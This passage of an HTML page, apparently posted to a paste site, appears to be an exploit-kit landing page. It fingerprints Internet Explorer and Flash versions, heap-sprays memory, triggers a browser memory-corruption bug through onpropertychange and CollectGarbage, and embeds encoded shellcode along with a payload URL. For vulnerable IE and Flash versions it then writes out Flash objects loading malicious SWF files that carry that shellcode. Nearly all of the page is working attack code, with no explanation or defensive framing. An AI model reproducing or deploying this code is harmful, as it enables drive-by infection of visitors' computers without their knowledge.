  875.                            if (/[^\s]/.test(g[j + 1])) {
  876.                                u += f.openTag + 'param name="' + g[j] + '" value="' + g[j + 1] + '" />'
  877.                             }
  878.                         }
  879.                         u += h + f.openTag + "/" + b + ">"
  880.                     } else {
  881.                         b = "";
  882.                         u = h
  883.                     } if (!n) {
  884.                         r.initDiv()
  885.                     }
  886.                     var m = n || r.getDiv();
  887.                     l = {
  888.                         span: null,
  889.                         winLoaded: f.win.loaded,
  890.                         tagName: b,
  891.                         outerHTML: u,
  892.                         DOM: r,
  893.                         time: new Date().getTime(),
  894.                         width: r.width,
  895.                         obj: r.obj,
  896.                         readyState: r.readyState,
  897.                         objectProperty: r.objectProperty
  898.                     };
  899.                     if (m && m.parentNode) {
  900.                        r.setStyle(o, r.getStyle.span());
  901.                         m.appendChild(o);
  902.                         try {
  903.                             o.innerHTML = u
  904.                         } catch (q) {};
  905.                         l.span = o;
  906.                         l.winLoaded = f.win.loaded
  907.                     }
  908.                     return l
  909.                 }
  910.             },
  911.             Plugins: {
  912.                 flash: {
  913.                     $: 1,
  914.                     mimeType: "application/x-shockwave-flash",
  915.                     setPluginStatus: function (c, a) {
  916.                         var b = this,
  917.                             d = b.$;
  918.                         b.installed = a ? 1 : (c ? 0 : -1);
  919.                         b.version = d.formatNum(a);
  920.                         b.getVersionDone = b.installed == -1 || b.axo.version || b.instance.version ? 1 : 0
  921.                     },
  922.                     getVersion: function (f, b) {
  923.                         var c = this,
  924.                             e = c.$,
  925.                             a = null,
  926.                             d = 0;
  927.                         if ((!d || e.dbug) && c.navPlugin.query().installed) {
  928.                            d = 1
  929.                        }
  930.                        if ((!a || e.dbug) && c.navPlugin.query().version) {
  931.                            a = c.navPlugin.version
  932.                        }
  933.                        if ((!d || e.dbug) && c.axo.query().installed) {
  934.                            d = 1
  935.                        }
  936.                        if ((!a || e.dbug) && c.axo.query().version) {
  937.                            a = c.axo.version
  938.                        };
  939.                         if (((!d && !a) || b || e.dbug) && c.instance.query().version) {
  940.                            d = 1;
  941.                             a = c.instance.version
  942.                         }
  943.                         c.setPluginStatus(d, a)
  944.                     },
  945.                     navPlugin: {
  946.                         $: 1,
  947.                         hasRun: 0,
  948.                         installed: 0,
  949.                         version: null,
  950.                         getNum: function (b) {
  951.                             if (!b) {
  952.                                 return null
  953.                             }
  954.                             var a = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(b);
  955.                             return a ? a[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  956.                         },
  957.                         query: function () {
  958.                             var e = this,
  959.                                 d = e.$,
  960.                                 b = e.$$,
  961.                                 a, f, c = e.hasRun || !d.hasMimeType(b.mimeType);
  962.                             e.hasRun = 1;
  963.                             if (c) {
  964.                                 return e
  965.                             };
  966.                             f = d.findNavPlugin({
  967.                                 find: "Shockwave.*Flash",
  968.                                 mimes: b.mimeType,
  969.                                 plugins: ["Shockwave Flash"]
  970.                             });
  971.                             if (f) {
  972.                                 e.installed = 1;
  973.                                 if (f.description) {
  974.                                     a = e.getNum(f.description)
  975.                                 }
  976.                             }
  977.                             if (a) {
  978.                                 a = d.getPluginFileVersion(f, a)
  979.                             }
  980.                             if (a) {
  981.                                 e.version = a
  982.                             };
  983.                             return e
  984.                         }
  985.                     },
  986.                     axo: {
  987.                         $: 1,
  988.                         hasRun: 0,
  989.                         installed: 0,
  990.                         version: null,
  991.                         progID: "ShockwaveFlash.ShockwaveFlash",
  992.                         classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  993.                         query: function () {
  994.                             var d = this,
  995.                                 g = d.$,
  996.                                 c = d.$$,
  997.                                 b, a, i, h, f = d.hasRun;
  998.                             d.hasRun = 1;
  999.                             if (f) {
  1000.                                 return d
  1001.                             };
  1002.                             for (a = 0; a < 10; a++) {
  1003.                                i = g.getAXO(d.progID + (a ? "." + a : ""));
  1004.                                if (i) {
  1005.                                    d.installed = 1;
  1006.                                    b = 0;
  1007.                                    try {
  1008.                                        b = g.getNum(i.GetVariable("$version") + "")
  1009.                                    } catch (h) {}
  1010.                                    if (b) {
  1011.                                        d.version = b;
  1012.                                        if (!g.dbug) {
  1013.                                            break
  1014.                                        }
  1015.                                    }
  1016.                                }
  1017.                            };
  1018.                            return d
  1019.                        }
  1020.                    },
  1021.                    instance: {
  1022.                        $: 1,
  1023.                        hasRun: 0,
  1024.                        version: null,
  1025.                        HTML: null,
  1026.                        isEnabled: function () {
  1027.                            var b = this,
  1028.                                d = b.$,
  1029.                                c = b.$$,
  1030.                                a = 1;
  1031.                            if (b.hasRun || d.DOM.isEnabled.objectTagUsingActiveX() || !d.hasMimeType(c.mimeType)) {
  1032.                                a = 0
  1033.                            }
  1034.                            return a
  1035.                        },
  1036.                        query: function () {
  1037.                            var a = this,
  1038.                                f = a.$,
  1039.                                d = a.$$,
  1040.                                b, g, c = a.isEnabled();
  1041.                            a.hasRun = 1;
  1042.                            if (c) {
  1043.                                a.HTML = f.DOM.insert("object", ["type", d.mimeType], ["play", "false", "menu", "false"], "", d);
  1044.                                try {
  1045.                                    a.version = f.getNum(a.HTML.obj().GetVariable("$version") + "")
  1046.                                } catch (g) {}
  1047.                            }
  1048.                            return a
  1049.                        }
  1050.                    }
  1051.                },
  1052.                zz: 0
  1053.            }
  1054.        };
  1055.        PluginDetect.INIT();
  1056.  
  1057.        function FlashVersionToInt(vers) {
  1058.            vers = vers.replace(/\./g, ',');
  1059.            var parts = vers.split(",");
  1060.            var res = 0;
  1061.            res += parseInt(parts[0], 10) << 24;
  1062.            res += parseInt(parts[1], 10) << 16;
  1063.            res += parseInt(parts[2], 10) << 8;
  1064.            res += parseInt(parts[3], 10);
  1065.            return res;
  1066.        }
  1067.  
  1068.        function DetectIEVersion() {
  1069.            if (/MSIE (\d+\.\d+);/.test(navigator.userAgent)) {
  1070.                var ieversion = new Number(RegExp.$1);
  1071.                if (ieversion >= 11) return 11;
  1072.                 if (ieversion >= 10) return 10;
  1073.                 if (ieversion >= 9) return 9;
  1074.                 if (ieversion >= 8) return 8;
  1075.             }
  1076.             return 0;
  1077.         }
  1078.     </script>
  1079.     <script>
  1080.         sham = new Array(0x250);
  1081.  
  1082.         function burp(j, r) {
  1083.             var y;
  1084.             y = j.toString(16);
  1085.             while (y.length < r) {
  1086.                y = '0' + y
  1087.            };
  1088.            return y
  1089.        }
  1090.  
  1091.        function neat(k) {
  1092.            var l, j;
  1093.            l = k & 0xFFFF;
  1094.            j = (k >> 16) & 0xFFFF;
  1095.             return unescape('%u' + burp(l, 4) + '%u' + burp(j, 4))
  1096.         }
  1097.  
  1098.         function spar() {
  1099.             r = neat(0xdeadc0de);
  1100.             m = 0x0f002000;
  1101.             while (r.length < 0x360) {
  1102.                if (r.length == (0x94 / 2)) {
  1103.                    r += neat(m + 0x10 - 0x0c)
  1104.                } else if (r.length == (0x98 / 2)) {
  1105.                    r += neat(m + 0x14 - 0x8)
  1106.                } else if (r.length == (0xac / 2)) {
  1107.                    r += neat(m - 0x0e)
  1108.                } else if (r.length == (0x15c / 2)) {
  1109.                    r += neat(0x42424242)
  1110.                } else {
  1111.                    r += neat(m - 0x0e)
  1112.                }
  1113.            }
  1114.            i = r.substring(0, (0x340 - 2) / 2);
  1115.            for (g = 0; g < sham.length; g++) {
  1116.                sham[g] = document.createElement('div');
  1117.                sham[g].className = i.substring(0, i.length);
  1118.            }
  1119.            try {
  1120.                this.outerHTML = this.outerHTML
  1121.            } catch (exc) {}
  1122.            CollectGarbage();
  1123.            for (g = 0; g < sham.length; g++) {
  1124.                sham[g].title = i.substring(0, i.length);
  1125.            }
  1126.        }
  1127.  
  1128.        function grask() {
  1129.            try {
  1130.                a = document.getElementsByTagName('script');
  1131.                v = a[0];
  1132.                v.onpropertychange = spar;
  1133.                x = document.createElement('SELECT');
  1134.                x = v.appendChild(x);
  1135.                window['swf_id'].wombt(UShell(sh + Url_To_ShellUrl_ff(CNruri + "&h=71")))
  1136.            } catch (exc) {}
  1137.        }
  1138.  
  1139.        function Url_To_ShellUrl_ff(a) {
  1140.            var c = "",
  1141.                b = "",
  1142.                d = "",
  1143.                a = a + "\xff";
  1144.            a.length % 2 && (a += "\xff");
  1145.            for (var e = 0; e < a.length; e++) b = a.charCodeAt(e).toString(16), d = a.charCodeAt(e + 1).toString(16), 2 > b.length && (b = "0" + b), 2 > d.length && (d = "0" + d), c += "%u" + d + b, e += 1;
  1146.             return c
  1147.         }
  1148.         sh = "%u02EB%u05EB%uF9E8%uFFFF%u5AFF%uC283%u3119%uB5C9%uB102%u8964%u01D3%u8BCB%u3503%u0706%u0707%u0389%u8366%u04E9%uED75%u9796%u07EF%u0706%u5A07%uEA85%u3602%u63CF%u768C%u8C36%u0B71%u718D%u8C1B%u0F40%u798C%u8C26%u6131%u483F%u721F%uB9F4%u0623%u0706%uE906%u07B9%u0706%u0606%uEFE8%u06CB%u0707%uED8F%uC586%u0622%u0707%u6F54%u0787%u0706%u92F8%u0606%u0707%uED8F%uC586%u0622%u0707%uF137%uC506%u9B8C%u5232%u0704%u8707%u07FD%u0173%u1B8E%u4135%uE9ED%u03C1%u0734%uED8E%uC587%u0530%u0706%uF855%u0393%u0706%u8E06%u86ED%u45C4%u0705%u5506%uF857%u0F93%u0706%u8E06%u86ED%u65C4%u0705%u8706%uF83D%u0472%uEC45%uC1FE%u0705%u8A66%u2892%u0704%u5507%u92F9%u0613%u0706%u828C%u0535%u0707%uF83B%uC84F%u7107%uEC05%u663B%u076D%u076C%uED8E%uC587%u0623%u0706%u8E55%u86EC%u65C5%u0704%u5507%u076C%uD7F8%u026C%uED8E%uC587%u0623%u0706%uF855%u0B93%u0706%u6D06%u8E02%u86EC%u1FC5%u0707%u5507%u92F9%u060B%u0706%u076D%u92F9%u0617%u0706%u0707%u0706%u0707%u0706%u0707%u0706%u0707%u0706%u0707%u0706%u0707%u0706%u6275%u7461%u7571%u3535%u2A27%u2775%u6240%u5372%u6A62%u5776%u7366%u466E%u4B07%u6669%u4B63%u656F%u6675%u7E74%u0746%u6241%u5773%u6874%u4664%u6362%u6275%u7475%u5007%u696F%u7F42%u6463%u4207%u6E7E%u5773%u6874%u6264%u7475%u4007%u7363%u7E54%u7375%u6A62%u6E52%u626A%u7447%u6E41%u626A%u6E53%u626B%uBC07%uF58F%uF08E%uC736%u72A9%u2EFB%u8EF0%u36FF%uB9C7%u073A%u0707%uB205%u0502%u0706%uAA61%u8205%u0502%u0706%u778C%u847E%u1BC1%uB205%u0502%u0706%uBA8A%u050F%u0707%u04AB%u0282%u0704%uAC07%u04AB%u0282%u0704%u5707%uAAAD%u8204%u0503%u0707%u59AD%uDC36%u51AB%u8204%u0503%u0707%uC18F%uD08E%uFB57%uA1F4%u735F%u5903%uEC45%u59EE%uD695%u04E7%u1683%u0705%u3606%u91F1%uAA60%uE7C6%u0404%u0E82%u0704%u8E07%uAAC0%u8204%u0503%u0707%uECC5%u0717%u0706%u0707%u0706%u0707%u0706%u0707%u0706%u8E07%u0283%u0705%u5106%uEF50%uF85E%uF8F8%u5959%u06AC%u87C8%uBC39%u0572%uEAEC%u07C5%u0707%u0706%u0707%u5206%u4B55%u484B%u2949%u4B42%u074B%u5553%u434B%u7069%u6B69%u6669%u5363%u4169%u6B6E%u4663%u5407%u6470%u686F%u7375%u2961%u7F63%u0762";
  1149.  
  1150.         function UShell(shell_code_u_format) {
  1151.             var spl_t = shell_code_u_format.split("%u");
  1152.             ret_text = "";
  1153.             for (i = 1; i <= spl_t.length - 1; i++) {
  1154.                var ret_text = ret_text + spl_t[i].charAt(2) + spl_t[i].charAt(3) + spl_t[i].charAt(0) + spl_t[i].charAt(1);
  1155.            }
  1156.            return ret_text;
  1157.        }
  1158.        var flash_version = PluginDetect.getVersion('Flash');
  1159.        var ie_version = DetectIEVersion();
  1160.        if (ie_version >= 10 && ie_version <= 11) {
  1161.            if (FlashVersionToInt(flash_version) >= FlashVersionToInt("11,0,0,0") && FlashVersionToInt(flash_version) <= FlashVersionToInt("12,0,0,77")) {
  1162.                document.write("<object width=10 height=10 id='swf_id' name='swf_id' classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000'><param name='movie' value='bonault.swf' /><param name='allowScriptAccess' value='always' /><param name='FlashVars' value='' /><param name='Play' value='0' /></object>");
  1163.             }
  1164.         }
  1165.         if (ie_version >= 8 && ie_version <= 9) {
  1166.            if (FlashVersionToInt(flash_version) >= FlashVersionToInt("11,0,0,0") && FlashVersionToInt(flash_version) <= FlashVersionToInt("11,5,502,146")) {
  1167.                document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100"><param name="movie" value="uriault.swf" /><param name="allowScriptAccess" value="always" /><param name="FlashVars" value="glut=' + UShell(sh + Url_To_ShellUrl_ff(CNruri + "&h=70")) + '" /><param name="Play" value="true" /></object>');
  1168.             }
  1169.         }
  1170.     </script>
  1171. </body>
  1172.  
  1173. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement